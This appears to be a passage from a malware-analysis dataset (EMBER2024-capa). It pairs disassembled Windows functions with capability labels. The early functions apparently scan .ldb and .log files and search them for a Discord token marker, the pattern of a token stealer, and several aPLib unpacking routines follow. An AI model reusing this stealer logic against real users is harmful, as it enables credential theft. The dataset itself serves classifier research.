joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401cd3
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, 0
mov dword [rbp - 0xc], eax
lea rax, [0x004034d0]
mov r11, rax
mov rax, qword [rbp + 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
jne 0x401d1f
mov eax, 1
jmp 0x401ef0
mov eax, 2
mov r8, rax
mov eax, 0
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_ftell
mov dword [rbp - 0xc], eax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_rewind
mov eax, dword [rbp - 0xc]
add eax, 1
movsxd rax, eax
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x18], rax
mov eax, dword [rbp - 0xc]
movsxd rax, eax
mov rcx, qword [rbp - 8]
mov r9, rcx
movabs rcx, 1
mov r8, rcx
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fread
mov eax, dword [rbp - 0xc]
movsxd rax, eax
mov rcx, qword [rbp - 0x18]
add rcx, rax
mov eax, 0
mov byte [rcx], al
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
lea rax, str.dQw4w9WgXcQ
mov r8, rax
mov eax, dword [rbp - 0xc]
mov r11, rax
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401668
mov dword [rbp - 0x24], eax
cmp eax, 0xffffffff
je 0x401edc
mov eax, 0
mov dword [rbp - 0x28], eax
movabs rax, 0x400
mov r11, rax
movabs rax, 1
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_calloc
mov qword [rbp - 0x30], rax
mov eax, dword [rbp - 0x24]
movsxd rax, eax
mov rcx, qword [rbp - 0x20]
add rcx, rax
movsx eax, byte [rcx]
cmp eax, 0x22
je 0x401e85
mov eax, dword [rbp - 0x28]
movsxd rax, eax
mov rcx, qword [rbp - 0x30]
add rcx, rax
mov eax, dword [rbp - 0x24]
movsxd rax, eax
mov rdx, qword [rbp - 0x20]
add rdx, rax
movsx eax, byte [rdx]
mov byte [rcx], al
mov eax, dword [rbp - 0x24]
mov rcx, rax
add eax, 1
mov dword [rbp - 0x24], eax
mov eax, dword [rbp - 0x28]
mov rcx, rax
add eax, 1
mov dword [rbp - 0x28], eax
jmp 0x401e33
mov eax, dword [rbp + 0x20]
mov r8, rax
mov rax, qword [rbp + 0x18]
mov r11, rax
mov rax, qword [rbp - 0x30]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401960
mov rax, qword [rbp - 0x30]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_free
mov eax, dword [rbp - 0x24]
movsxd rax, eax
mov rcx, qword [rbp - 0x20]
add rcx, rax
mov qword [rbp - 0x20], rcx
mov eax, dword [rbp - 0xc]
mov ecx, dword [rbp - 0x24]
sub eax, ecx
mov dword [rbp - 0xc], eax
mov eax, 0
mov dword [rbp - 0x24], eax
jmp 0x401dd4
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_free
mov eax, 0
leave
ret
Function at 0x401efc
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x180
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
movabs rax, 0x400
mov r11, rax
movabs rax, 1
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_calloc
mov qword [rbp - 8], rax
movabs rax, 0xffffffffffffffff
mov qword [rbp - 0x150], rax
movabs rax, 0
mov qword [rbp - 0x158], rax
mov rax, qword [rbp + 0x10]
mov r8, rax
lea rax, str._s
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
lea rax, [rbp - 0x148]
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_FindFirstFileA
mov qword [rbp - 0x150], rax
mov rax, qword [rbp - 0x150]
cmp rax, 0xffffffffffffffff
jne 0x401fbf
mov eax, 1
jmp 0x40210f
mov eax, dword [rbp - 0x148]
and eax, 0x10
cmp eax, 0
je 0x401fdb
jmp 0x4020d0
lea rax, [rbp - 0x11c]
mov qword [rbp - 0x158], rax
lea rax, str..ldb
mov r11, rax
mov rax, qword [rbp - 0x158]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strstr
cmp rax, 0
jne 0x402040
lea rax, str..log
mov r11, rax
mov rax, qword [rbp - 0x158]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strstr
cmp rax, 0
jne 0x402040
jmp 0x4020d0
movabs rax, 0x400
mov r11, rax
movabs rax, 1
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_calloc
mov qword [rbp - 0x160], rax
mov rax, qword [rbp - 0x158]
mov r9, rax
mov rax, qword [rbp + 0x10]
mov r8, rax
lea rax, str._s_s
mov r11, rax
mov rax, qword [rbp - 0x160]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_sprintf
mov eax, dword [rbp + 0x20]
mov r8, rax
mov rax, qword [rbp + 0x18]
mov r11, rax
mov rax, qword [rbp - 0x160]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.00401cc8
mov rax, qword [rbp - 0x160]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_free
lea rax, [rbp - 0x148]
mov r11, rax
mov rax, qword [rbp - 0x150]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_FindNextFileA
cmp eax, 0
jne 0x401fbf
mov rax, qword [rbp - 0x150]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_FindClose
mov eax, 0
leave
ret
Function at 0x140003b90
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140003bca
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140003bcf
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140003c18
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400053b0]
cmp byte [rcx + rax], 0
je 0x140003c18
dec r8
sub rdx, 1
jne 0x140003bfe
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000464c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004696
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004696
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004696
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004696
cmp dword [rcx + 0x84], 0xe
jbe 0x140004696
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004698
xor al, al
add rsp, 0x28
ret
Function at 0x141704058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1417041df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141704089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14170406f
add dl, dl
jne 0x141704096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417040f6
xor eax, eax
add dl, dl
jne 0x1417040a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1417041ad
add dl, dl
jne 0x1417040b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417040c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417040d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1417040dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1417040ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14170407e
mov eax, 1
add dl, dl
jne 0x141704106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141704113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1417040fb
sub eax, ebx
mov ebx, 1
jne 0x14170414c
mov ecx, 1
add dl, dl
jne 0x14170412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14170413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141704123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14170407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141704168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141704175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14170415d
cmp eax, 0x7d00
jae 0x14170419b
cmp eax, 0x500
jb 0x141704196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14170407e
cmp eax, 0x7f
ja 0x14170419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14170407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1417041d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14170407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1247058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x12471df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1247089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x124706f
add dl, dl
jne 0x1247096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x12470f6
xor eax, eax
add dl, dl
jne 0x12470a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x12471ad
add dl, dl
jne 0x12470b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x12470c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x12470d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x12470dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x12470ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x124707e
mov eax, 1
add dl, dl
jne 0x1247106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1247113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x12470fb
sub eax, ebx
mov ebx, 1
jne 0x124714c
mov ecx, 1
add dl, dl
jne 0x124712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x124713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1247123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x124707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1247168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1247175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x124715d
cmp eax, 0x7d00
jae 0x124719b
cmp eax, 0x500
jb 0x1247196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x124707e
cmp eax, 0x7f
ja 0x124719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x124707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x12471d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x124707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14005ab54
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
and qword [rbp + 0x1f], 0
xorps xmm0, xmm0
and qword [rbp + 0x47], 0
mov rdi, rdx
mov rbx, rcx
movdqa xmmword [rbp + 7], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x27], xmm0
lea rdx, [0x140439e70]
movdqa xmmword [rbp + 0x37], xmm1
lea rcx, [0x14041cc44]
call fcn.1400ed270
lea rax, [0x14004c158]
mov qword [rbp - 0x29], 3
mov qword [rbp - 0x21], rax
lea rdx, [0x14043cb58]
lea rax, [rbp + 0x67]
mov qword [rbp - 9], rbx
mov qword [rbp - 0x19], rax
lea rcx, [0x1404176b8]
lea rax, [rbp + 7]
mov qword [rbp - 0x11], rax
call fcn.1400ee940
xor r9d, r9d
lea rdx, [rbp - 0x29]
mov ecx, 0xb9
lea r8d, [r9 + 0x28]
call sub.ntdll.dll_NtQuerySystemInformation
mov ebx, dword [rbp + 0x67]
test ebx, ebx
jns 0x14005ac02
mov ecx, ebx
call fcn.140079c40
jmp 0x14005ac6b
lea rdx, [0x140436e78]
lea rcx, [0x1404222bc]
call fcn.1400ee5fc
mov rcx, qword [rbp + 0x37]
mov rdx, rdi
call fcn.140079b08
mov ebx, eax
test eax, eax
jns 0x14005ac2b
mov ecx, eax
jmp 0x14005abfb
mov rcx, qword [rbp + 0x3f]
lea rdx, [rdi + 8]
call fcn.140079b08
mov ebx, eax
test eax, eax
js 0x14005ac27
mov rcx, qword [rbp + 0x47]
lea rdx, [rdi + 0x10]
call fcn.140079b08
mov ebx, eax
test eax, eax
jns 0x14005ac6b
mov ecx, eax
call fcn.140079c40
lea rdx, [0x140439810]
lea rcx, [0x14042b978]
call fcn.1400eefd4
mov ecx, ebx
call fcn.140079c60
lea rcx, [rbp + 7]
call fcn.14005a810
lea rdx, [0x14043e328]
lea rcx, [0x140420d80]
call fcn.1400eec90
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x14005be9c
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
xor ebx, ebx
mov r13, rdx
mov rdi, rcx
mov qword [rbp - 0x31], rbx
lea rdx, [0x14043c624]
mov esi, ebx
lea rcx, [0x14041f1bc]
mov r14d, ebx
mov r15, r9
mov r12, r8
call fcn.1400eefd4
xorps xmm1, xmm1
xorps xmm0, xmm0
movdqu xmmword [rbp + 7], xmm0
movups xmmword [rbp - 1], xmm1
movups xmmword [rbp + 0xf], xmm1
movups xmmword [rbp + 0x1f], xmm1
test r15, r15
jne 0x14005bf16
mov ebx, 0x80070057
mov ecx, ebx
call fcn.140079c40
jmp 0x14005bffc
mov rbx, qword [0x14043f520]
lea rdx, [0x14043c708]
lea rcx, [0x14041f260]
lea rsi, [rbx + 8]
call fcn.1400ed270
test rsi, rsi
je 0x14005bf4a
mov r14d, 1
mov rcx, rsi
mov edx, r14d
call fcn.140072570
lea rax, [0x140049a58]
mov qword [rbp + 0x1f], rdi
mov qword [rbp - 0x21], rax
lea rdx, [0x14043a08c]
lea rax, [rbp + 0x7f]
mov qword [rbp + 0x27], rbx
lea rcx, [0x14041480c]
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x29], 3
call fcn.1400ee5fc
xor r9d, r9d
lea rax, [rbp - 1]
mov qword [rbp - 0x11], rax
lea rdx, [rbp - 0x29]
lea rax, [rbp - 0x31]
mov ecx, 0xb9
mov qword [rbp - 9], rax
lea r8d, [r9 + 0x28]
call sub.ntdll.dll_NtQuerySystemInformation
mov ebx, dword [rbp + 0x7f]
test ebx, ebx
js 0x14005bf0a
mov rbx, qword [rbp - 0x31]
mov rax, qword [rbx]
mov rdi, qword [rax + 0x18]
mov rax, qword [0x1403c1610]
mov rcx, rdi
call rax
mov rax, rdi
lea r9, [rbp - 0x39]
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
lea rdx, [0x14043d1dc]
mov ebx, eax
lea rcx, [0x14041fca8]
call fcn.1400eec90
test ebx, ebx
js 0x14005bf0a
mov eax, dword [rbp - 0x39]
mov dword [r15], eax
mov ecx, ebx
call fcn.140079c60
lea rdx, [0x14043b5ec]
lea rcx, [0x140426008]
call fcn.1400ee940
lea rcx, [rbp - 1]
call fcn.1400578a0
lea rcx, [rbp - 0x31]
call fcn.1400577f4
test rsi, rsi
je 0x14005c03a
test r14d, r14d
je 0x14005c03a
mov rcx, rsi
call fcn.14007240c
lea r11, [rsp + 0x90]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400662e8
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
mov rdi, r8
and dword [rcx], ebx
mov rsi, rcx
cmp qword [rcx + 0x18], rbx
jne 0x14006631c
mov edi, 0xc004f07a
mov ecx, edi
call fcn.140079c40
jmp 0x1400663da
xor ecx, ecx
call fcn.140079c60
xor ecx, ecx
call fcn.140079c60
mov eax, 0x40
mov edx, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
jne 0x140066348
mov edi, 0x8007000e
jmp 0x140066310
movups xmm0, xmmword [rdi]
mov dword [rbp + 0x20], 0x10000
mov edx, 4
movups xmm1, xmmword [rdi + 0x10]
mov dword [rax], edx
lea rcx, [0x14004f218]
lea rax, [rbp + 0x20]
xor r9d, r9d
mov qword [rbx + 8], rax
lea r8d, [rdx + 0x38]
movups xmmword [rbx + 0x10], xmm0
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [rbx + 0x20], xmm1
movups xmmword [rbx + 0x30], xmm0
mov rax, qword [rsi + 0x18]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 0x38], rcx
lea rcx, [rbp + 0x38]
mov qword [rbp - 0x14], rax
lea rax, [rsi + 4]
mov qword [rbp - 0x30], rcx
lea ecx, [r8 + 0x7d]
mov dword [rbp - 0x20], edx
lea rdx, [rbp - 0x40]
mov qword [rbp - 0xc], rax
mov dword [rbp + 0x28], SafeArrayUnaccessData
mov qword [rbp - 0x1c], rbx
mov qword [rbp - 0x40], 3
call sub.ntdll.dll_NtQuerySystemInformation
mov edi, dword [rbp + 0x38]
test edi, edi
js 0x140066310
mov ecx, dword [rbp + 0x28]
mov dword [rsi], ecx
mov ecx, edi
call fcn.140079c60
test rbx, rbx
je 0x1400663ef
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x90]
mov eax, edi
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x140084e08
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140436b28]
xor rax, rsp
mov qword [rbp + 0x27], rax
lea rax, [0x14004d818]
mov qword [rbp - 0x39], 3
mov qword [rbp - 0x31], rax
mov r12, rdx
lea rax, [rbp - 0x49]
mov rbx, rcx
lea rdx, [0x140438688]
mov qword [rbp - 0x29], rax
lea rcx, [0x14042346c]
mov r15, r9
mov r14, r8
call fcn.1400ed5b8
xor r9d, r9d
mov qword [rbp - 0x21], rbx
lea rax, [rbp + 0x17]
mov qword [rbp - 0x19], r12
lea rdx, [rbp - 0x39]
mov qword [rbp - 0x11], r14
mov qword [rbp - 9], rax
lea ebx, [r9 + 0x50]
mov r8d, ebx
lea ecx, [rbx + 0x69]
call sub.ntdll.dll_NtQuerySystemInformation
mov esi, dword [rbp - 0x49]
xor edi, edi
test esi, esi
jns 0x140084ec0
mov ecx, esi
call fcn.140079c40
lea rdx, [0x140438ed8]
lea rcx, [0x140423d00]
call fcn.1400edc30
jmp 0x140084fa6
lea rax, [0x14004d198]
mov qword [rbp - 0x39], 3
mov qword [rbp - 0x31], rax
lea rdx, [0x14043c24c]
lea rax, [rbp - 0x45]
lea rcx, [0x14041ed2c]
mov qword [rbp - 0x29], rax
call fcn.1400ee2b8
lea rax, [rbp + 0x17]
mov qword [rbp - 0x21], r12
mov qword [rbp - 9], rax
lea rdx, [rbp - 0x39]
lea rax, [rbp - 0x41]
mov qword [rbp - 0x19], rdi
xor r9d, r9d
mov qword [rbp + 0xf], rax
mov r8, rbx
mov qword [rbp - 0x11], r14
mov ecx, 0xb9
mov dword [rbp - 1], edi
mov dword [rbp + 3], 1
mov qword [rbp + 7], rdi
call sub.ntdll.dll_NtQuerySystemInformation
mov ecx, dword [rbp - 0x45]
cmp ecx, 0xc004d304
je 0x140084fa3
mov esi, ecx
test ecx, ecx
jns 0x140084f44
call fcn.140079c40
jmp 0x140084fa6
mov ebx, dword [rbp - 0x41]
mov r12d, 0xfff
mov r14d, ebx
and r14d, 0xf000
cmp r14d, 0xc000
jne 0x140084f71
mov eax, ebx
and eax, r12d
sub eax, 0x401
cmp eax, 0x95
jbe 0x140084f9e
lea rdx, [0x14043cd80]
lea rcx, [0x140417958]
call fcn.1400ed8ec
cmp r14d, 0xc000
jne 0x140084fa3
and ebx, r12d
sub ebx, 0x497
cmp ebx, 0x169
ja 0x140084fa3
mov edi, 1
mov dword [r15], edi
mov ecx, esi
call fcn.140079c60
lea rdx, [0x14043a398]
lea rcx, [0x14041d104]
call fcn.1400edf70
mov eax, esi
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14037a9a0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140090244
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rax, qword [0x140436b28]
xor rax, rsp
mov qword [rbp + 0x27], rax
xor r12d, r12d
lea rax, [rbp - 0x49]
lea r9, [rbp - 0x41]
mov qword [rbp - 0x41], r12
lea r8, str.PolicyValuesArray
mov qword [rbp - 0x39], r12
lea rdx, [0x1403cbd60]
mov qword [rbp - 0x31], r12
mov qword [rsp + 0x20], rax
mov r13, rcx
call fcn.14009063c
mov edi, eax
mov r15d, 0x8007000d
cmp eax, 0x80070002
jne 0x1400902be
mov edi, r12d
jmp 0x1400903a0
test eax, eax
jns 0x1400902ce
mov ecx, eax
call fcn.140079c40
jmp 0x1400903a0
mov ecx, dword [rbp - 0x49]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
mov rbx, rdx
shr rbx, 5
lea rax, [rbx + rbx*2]
shl rax, 4
sub rcx, rax
je 0x1400902fa
mov edi, r15d
mov ecx, r15d
jmp 0x1400902c4
mov rsi, qword [rbp - 0x41]
mov r14d, r12d
test ebx, ebx
je 0x140090394
mov r15d, dword [rbp - 0x49]
movups xmm0, xmmword [rsi]
lea r8, [rbp - 0x49]
mov edi, r12d
movups xmm1, xmmword [rsi + 0x10]
lea rdx, [rbp - 9]
movdqu xmmword [rbp - 9], xmm0
lea rcx, [rbp - 0x39]
movups xmm0, xmmword [rsi + 0x20]
movups xmmword [rbp + 7], xmm1
movups xmmword [rbp + 0x17], xmm0
call fcn.14008bad4
mov r12b, al
test al, al
jne 0x14009035f
mov edx, dword [rbp - 0x49]
lea r8, [rbp - 9]
lea rcx, [rbp - 0x39]
call fcn.14008d864
mov edi, eax
test eax, eax
jns 0x14009035f
mov ecx, eax
call fcn.140079c40
jmp 0x140090369
xor r15d, r15d
test r12b, r12b
sete r15b
mov ecx, edi
call fcn.140079c60
xor r12d, r12d
test edi, edi
js 0x140090425
test r15d, r15d
je 0x140090420
inc r14d
add rsi, 0x30
cmp r14d, ebx
jb 0x14009030d
lea rdx, [rbp - 0x39]
mov rcx, r13
call fcn.140077fbc
cmp edi, 0x8007000d
mov ebx, r12d
cmovne ebx, edi
mov ecx, ebx
call fcn.140079c60
lea rcx, [rbp - 0x39]
call fcn.14008ff8c
xor r9d, r9d
mov qword [rbp - 0x29], 3
lea rax, [0x140048d58]
mov qword [rbp - 0x19], r12
mov qword [rbp - 0x21], rax
lea rdx, [rbp - 0x29]
lea rax, [rbp - 0x41]
mov ecx, 0xb9
lea r8d, [r9 + 0x20]
mov qword [rbp - 0x11], rax
call sub.ntdll.dll_NtQuerySystemInformation
mov eax, ebx
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14037a9a0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov edi, 0x8007000d
mov ecx, edi
jmp 0x1400902c4
Function at 0x140090434
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rax, qword [0x140436b28]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor r12d, r12d
lea rax, [rbp - 0x49]
lea r9, [rbp - 0x41]
mov qword [rbp - 0x41], r12
lea r8, str.LicStatusArray
mov qword [rbp - 0x39], r12
lea rdx, [0x1403cbd60]
mov qword [rbp - 0x31], r12
mov dword [rbp + 7], r12d
mov r13, rcx
mov qword [rsp + 0x20], rax
call fcn.14009063c
mov edi, eax
cmp eax, 0x80070002
jne 0x1400904ac
mov edi, r12d
jmp 0x1400905b5
test eax, eax
jns 0x1400904bc
mov ecx, eax
call fcn.140079c40
jmp 0x1400905b5
mov ecx, dword [rbp - 0x49]
movabs rax, 0x2492492492492493
mul rcx
mov esi, ecx
sub rsi, rdx
shr rsi, 1
add rsi, rdx
shr rsi, 5
imul rax, rsi, 0x38
sub rcx, rax
je 0x1400904ed
mov edi, 0x8007000d
mov ecx, edi
jmp 0x1400904b2
mov rbx, qword [rbp - 0x41]
mov r14d, r12d
test esi, esi
je 0x1400905a9
mov r15d, dword [rbp - 0x49]
add rbx, 0x14
movups xmm0, xmmword [rbx - 0x14]
mov eax, dword [rbx]
mov ecx, dword [rbx - 4]
mov dword [rbp + 0xb], eax
mov rax, qword [rbx + 4]
mov qword [rbp + 0xf], rax
mov rax, qword [rbx + 0xc]
mov dword [rbp + 7], ecx
mov qword [rbp + 0x17], rax
movdqu xmmword [rbp - 9], xmm0
movups xmm0, xmmword [rbx + 0x14]
movdqu xmmword [rbp + 0x1f], xmm0
test ecx, ecx
js 0x1400904e4
cmp ecx, 4
jge 0x1400904e4
lea r8, [rbp - 0x49]
mov edi, r12d
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x39]
call fcn.14008bbd4
mov r12b, al
test al, al
jne 0x140090574
mov edx, dword [rbp - 0x49]
lea r8, [rbp - 9]
lea rcx, [rbp - 0x39]
call fcn.14008d958
mov edi, eax
test eax, eax
jns 0x140090574
mov ecx, eax
call fcn.140079c40
jmp 0x14009057e
